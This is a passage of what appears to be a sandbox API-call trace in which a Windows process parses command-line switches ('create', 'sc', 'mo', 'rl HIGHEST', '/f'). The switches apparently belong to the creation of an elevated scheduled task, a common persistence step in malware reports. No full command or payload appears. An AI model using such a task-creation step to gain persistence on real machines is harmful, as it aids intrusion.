_Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.090] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|d|") returned 3 [0115.090] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|rl|") returned 4 [0115.090] lstrlenW (lpString="|d|") returned 3 [0115.090] lstrlenW (lpString="|rl|") returned 4 [0115.090] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.090] lstrlenW (lpString="m") returned 1 [0115.090] lstrlenW (lpString="m") returned 1 [0115.090] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.090] lstrlenW (lpString="rl") returned 2 [0115.097] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.097] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|m|") returned 3 [0115.097] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|rl|") returned 4 [0115.097] lstrlenW (lpString="|m|") returned 3 [0115.097] lstrlenW (lpString="|rl|") returned 4 [0115.097] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.097] lstrlenW (lpString="i") returned 1 [0115.097] lstrlenW (lpString="i") returned 1 [0115.097] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.097] lstrlenW (lpString="rl") returned 2 [0115.097] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.097] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|i|") returned 3 [0115.097] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|rl|") returned 4 [0115.097] lstrlenW (lpString="|i|") returned 3 [0115.097] lstrlenW (lpString="|rl|") returned 4 [0115.097] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.097] lstrlenW (lpString="tn") returned 2 [0115.097] lstrlenW (lpString="tn") returned 2 [0115.097] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.097] lstrlenW (lpString="rl") returned 2 [0115.097] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.098] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|tn|") returned 4 [0115.098] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|rl|") returned 4 [0115.098] lstrlenW (lpString="|tn|") returned 4 [0115.098] lstrlenW (lpString="|rl|") returned 4 [0115.098] StrStrIW (lpFirst="|tn|", lpSrch="|rl|") returned 0x0 [0115.098] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.098] lstrlenW (lpString="tr") returned 2 [0115.098] lstrlenW (lpString="tr") returned 2 [0115.098] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.098] lstrlenW (lpString="rl") returned 2 [0115.098] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.098] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|tr|") returned 4 [0115.098] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|rl|") returned 4 [0115.098] lstrlenW (lpString="|tr|") returned 4 [0115.098] lstrlenW (lpString="|rl|") returned 4 [0115.098] StrStrIW (lpFirst="|tr|", lpSrch="|rl|") returned 0x0 [0115.098] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.098] lstrlenW (lpString="st") returned 2 [0115.098] lstrlenW (lpString="st") returned 2 [0115.098] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.098] lstrlenW (lpString="rl") returned 2 [0115.098] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.098] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|st|") returned 4 [0115.098] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|rl|") returned 4 [0115.098] lstrlenW (lpString="|st|") returned 4 [0115.098] lstrlenW (lpString="|rl|") returned 4 [0115.099] StrStrIW (lpFirst="|st|", lpSrch="|rl|") returned 0x0 [0115.099] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.099] lstrlenW (lpString="sd") returned 2 [0115.099] lstrlenW (lpString="sd") returned 2 [0115.099] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.099] lstrlenW (lpString="rl") returned 2 [0115.099] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.099] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|sd|") returned 4 [0115.099] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|rl|") returned 4 [0115.099] lstrlenW (lpString="|sd|") returned 4 [0115.099] lstrlenW (lpString="|rl|") returned 4 [0115.099] StrStrIW (lpFirst="|sd|", lpSrch="|rl|") returned 0x0 [0115.099] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.099] lstrlenW (lpString="ed") returned 2 [0115.099] lstrlenW (lpString="ed") returned 2 [0115.099] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.099] lstrlenW (lpString="rl") returned 2 [0115.099] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.099] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|ed|") returned 4 [0115.099] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|rl|") returned 4 [0115.099] lstrlenW (lpString="|ed|") returned 4 [0115.099] lstrlenW (lpString="|rl|") returned 4 [0115.099] StrStrIW (lpFirst="|ed|", lpSrch="|rl|") returned 0x0 [0115.099] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.099] lstrlenW (lpString="it") returned 2 [0115.099] lstrlenW (lpString="it") returned 2 [0115.099] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.099] lstrlenW (lpString="rl") returned 2 [0115.100] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.100] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|it|") returned 4 [0115.100] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|rl|") returned 4 [0115.100] lstrlenW (lpString="|it|") returned 4 [0115.100] lstrlenW (lpString="|rl|") returned 4 [0115.100] StrStrIW (lpFirst="|it|", lpSrch="|rl|") returned 0x0 [0115.100] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.100] lstrlenW (lpString="et") returned 2 [0115.100] lstrlenW (lpString="et") returned 2 [0115.100] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.100] lstrlenW (lpString="rl") returned 2 [0115.100] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.100] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|et|") returned 4 [0115.100] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|rl|") returned 4 [0115.100] lstrlenW (lpString="|et|") returned 4 [0115.100] lstrlenW (lpString="|rl|") returned 4 [0115.100] StrStrIW (lpFirst="|et|", lpSrch="|rl|") returned 0x0 [0115.100] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.100] lstrlenW (lpString="k") returned 1 [0115.100] lstrlenW (lpString="k") returned 1 [0115.100] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.100] lstrlenW (lpString="rl") returned 2 [0115.100] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.100] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|k|") returned 3 [0115.100] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|rl|") returned 4 [0115.100] lstrlenW (lpString="|k|") returned 3 [0115.100] lstrlenW (lpString="|rl|") returned 4 [0115.101] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.101] lstrlenW (lpString="du") returned 2 [0115.101] lstrlenW (lpString="du") returned 2 [0115.101] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.101] lstrlenW (lpString="rl") returned 2 [0115.101] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.101] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|du|") returned 4 [0115.101] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|rl|") returned 4 [0115.101] lstrlenW (lpString="|du|") returned 4 [0115.101] lstrlenW (lpString="|rl|") returned 4 [0115.101] StrStrIW (lpFirst="|du|", lpSrch="|rl|") returned 0x0 [0115.101] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.101] lstrlenW (lpString="ri") returned 2 [0115.101] lstrlenW (lpString="ri") returned 2 [0115.101] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.101] lstrlenW (lpString="rl") returned 2 [0115.101] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.101] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|ri|") returned 4 [0115.101] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|rl|") returned 4 [0115.101] lstrlenW (lpString="|ri|") returned 4 [0115.101] lstrlenW (lpString="|rl|") returned 4 [0115.101] StrStrIW (lpFirst="|ri|", lpSrch="|rl|") returned 0x0 [0115.101] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.101] lstrlenW (lpString="z") returned 1 [0115.101] lstrlenW (lpString="z") returned 1 [0115.101] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.101] lstrlenW (lpString="rl") returned 2 [0115.102] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.102] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|z|") returned 3 [0115.102] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|rl|") returned 4 [0115.102] lstrlenW (lpString="|z|") returned 3 [0115.102] lstrlenW (lpString="|rl|") returned 4 [0115.102] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.102] lstrlenW (lpString="f") returned 1 [0115.102] lstrlenW (lpString="f") returned 1 [0115.102] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.102] lstrlenW (lpString="rl") returned 2 [0115.102] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.102] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|f|") returned 3 [0115.102] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|rl|") returned 4 [0115.102] lstrlenW (lpString="|f|") returned 3 [0115.102] lstrlenW (lpString="|rl|") returned 4 [0115.102] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.102] lstrlenW (lpString="v1") returned 2 [0115.102] lstrlenW (lpString="v1") returned 2 [0115.102] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.102] lstrlenW (lpString="rl") returned 2 [0115.102] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.102] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|v1|") returned 4 [0115.102] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|rl|") returned 4 [0115.102] lstrlenW (lpString="|v1|") returned 4 [0115.102] lstrlenW (lpString="|rl|") returned 4 [0115.102] StrStrIW (lpFirst="|v1|", lpSrch="|rl|") returned 0x0 [0115.102] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.102] lstrlenW (lpString="xml") returned 3 [0115.103] lstrlenW (lpString="xml") returned 3 [0115.103] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.103] lstrlenW (lpString="rl") returned 2 [0115.103] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.103] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x6, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|xml|") returned 5 [0115.103] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|rl|") returned 4 [0115.103] lstrlenW (lpString="|xml|") returned 5 [0115.103] lstrlenW (lpString="|rl|") returned 4 [0115.103] StrStrIW (lpFirst="|xml|", lpSrch="|rl|") returned 0x0 [0115.103] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.103] lstrlenW (lpString="ec") returned 2 [0115.103] lstrlenW (lpString="ec") returned 2 [0115.103] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.103] lstrlenW (lpString="rl") returned 2 [0115.103] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.103] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|ec|") returned 4 [0115.103] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|rl|") returned 4 [0115.103] lstrlenW (lpString="|ec|") returned 4 [0115.103] lstrlenW (lpString="|rl|") returned 4 [0115.103] StrStrIW (lpFirst="|ec|", lpSrch="|rl|") returned 0x0 [0115.103] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.103] lstrlenW (lpString="rl") returned 2 [0115.103] lstrlenW (lpString="rl") returned 2 [0115.103] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.103] lstrlenW (lpString="rl") returned 2 [0115.103] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.104] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|rl|") returned 4 [0115.104] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|rl|") returned 4 [0115.104] lstrlenW (lpString="|rl|") returned 4 [0115.104] lstrlenW (lpString="|rl|") returned 4 [0115.104] StrStrIW (lpFirst="|rl|", lpSrch="|rl|") returned="|rl|" [0115.104] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.104] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.104] lstrlenW (lpString="HIGHEST") returned 7 [0115.104] lstrlenW (lpString="-/") returned 2 [0115.104] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0115.104] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.104] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.104] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.104] lstrlenW (lpString="HIGHEST") returned 7 [0115.104] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0115.104] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.104] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.104] _memicmp (_Buf1=0x2946474ac70, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.104] lstrlenW (lpString="HIGHEST") returned 7 [0115.104] lstrlenW (lpString="HIGHEST") returned 7 [0115.104] lstrlenW (lpString=" \x09") returned 2 [0115.104] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0115.104] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0115.104] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0115.104] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0115.104] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0115.104] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0115.104] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0115.104] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0115.104] GetLastError () returned 0x0 [0115.104] lstrlenW (lpString="HIGHEST") returned 7 [0115.105] lstrlenW (lpString="HIGHEST") returned 7 [0115.105] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.105] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.105] lstrlenW (lpString="/f") returned 2 [0115.105] lstrlenW (lpString="-/") returned 2 [0115.105] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0115.105] lstrlenW (lpString="create") returned 6 [0115.105] lstrlenW (lpString="create") returned 6 [0115.105] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.105] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.105] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x9, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|create|") returned 8 [0115.105] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|f|") returned 3 [0115.105] lstrlenW (lpString="|create|") returned 8 [0115.105] lstrlenW (lpString="|f|") returned 3 [0115.105] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0115.105] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.105] lstrlenW (lpString="?") returned 1 [0115.105] lstrlenW (lpString="?") returned 1 [0115.105] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.105] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.105] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|?|") returned 3 [0115.105] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|f|") returned 3 [0115.105] lstrlenW (lpString="|?|") returned 3 [0115.105] lstrlenW (lpString="|f|") returned 3 [0115.105] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0115.105] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.105] lstrlenW (lpString="s") returned 1 [0115.105] lstrlenW (lpString="s") returned 1 [0115.105] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.106] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.125] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|s|") returned 3 [0115.125] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|f|") returned 3 [0115.125] lstrlenW (lpString="|s|") returned 3 [0115.125] lstrlenW (lpString="|f|") returned 3 [0115.125] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0115.125] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.125] lstrlenW (lpString="u") returned 1 [0115.125] lstrlenW (lpString="u") returned 1 [0115.125] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.125] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.125] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|u|") returned 3 [0115.125] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|f|") returned 3 [0115.126] lstrlenW (lpString="|u|") returned 3 [0115.126] lstrlenW (lpString="|f|") returned 3 [0115.126] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0115.126] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.126] lstrlenW (lpString="p") returned 1 [0115.126] lstrlenW (lpString="p") returned 1 [0115.126] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.126] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.126] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|p|") returned 3 [0115.126] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|f|") returned 3 [0115.126] lstrlenW (lpString="|p|") returned 3 [0115.126] lstrlenW (lpString="|f|") returned 3 [0115.126] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0115.126] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.126] lstrlenW (lpString="ru") returned 2 [0115.126] lstrlenW (lpString="ru") returned 2 [0115.126] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.126] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.126] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|ru|") returned 4 [0115.126] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|f|") returned 3 [0115.126] lstrlenW (lpString="|ru|") returned 4 [0115.126] lstrlenW (lpString="|f|") returned 3 [0115.126] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0115.126] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.126] lstrlenW (lpString="rp") returned 2 [0115.126] lstrlenW (lpString="rp") returned 2 [0115.127] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.127] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.127] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|rp|") returned 4 [0115.127] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|f|") returned 3 [0115.127] lstrlenW (lpString="|rp|") returned 4 [0115.127] lstrlenW (lpString="|f|") returned 3 [0115.127] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0115.127] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.127] lstrlenW (lpString="sc") returned 2 [0115.127] lstrlenW (lpString="sc") returned 2 [0115.127] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.127] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.127] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|sc|") returned 4 [0115.127] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|f|") returned 3 [0115.127] lstrlenW (lpString="|sc|") returned 4 [0115.127] lstrlenW (lpString="|f|") returned 3 [0115.127] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0115.127] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.127] lstrlenW (lpString="mo") returned 2 [0115.127] lstrlenW (lpString="mo") returned 2 [0115.127] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.127] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.127] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|mo|") returned 4 [0115.127] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|f|") returned 3 [0115.127] lstrlenW (lpString="|mo|") returned 4 [0115.127] lstrlenW (lpString="|f|") returned 3 [0115.127] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0115.128] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.128] lstrlenW (lpString="d") returned 1 [0115.128] lstrlenW (lpString="d") returned 1 [0115.128] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.128] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.128] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|d|") returned 3 [0115.128] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|f|") returned 3 [0115.128] lstrlenW (lpString="|d|") returned 3 [0115.128] lstrlenW (lpString="|f|") returned 3 [0115.128] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0115.128] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.128] lstrlenW (lpString="m") returned 1 [0115.128] lstrlenW (lpString="m") returned 1 [0115.128] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.128] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.128] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|m|") returned 3 [0115.128] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|f|") returned 3 [0115.128] lstrlenW (lpString="|m|") returned 3 [0115.128] lstrlenW (lpString="|f|") returned 3 [0115.128] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0115.128] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.128] lstrlenW (lpString="i") returned 1 [0115.128] lstrlenW (lpString="i") returned 1 [0115.128] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.128] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.128] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x4, _Format="|%s|", 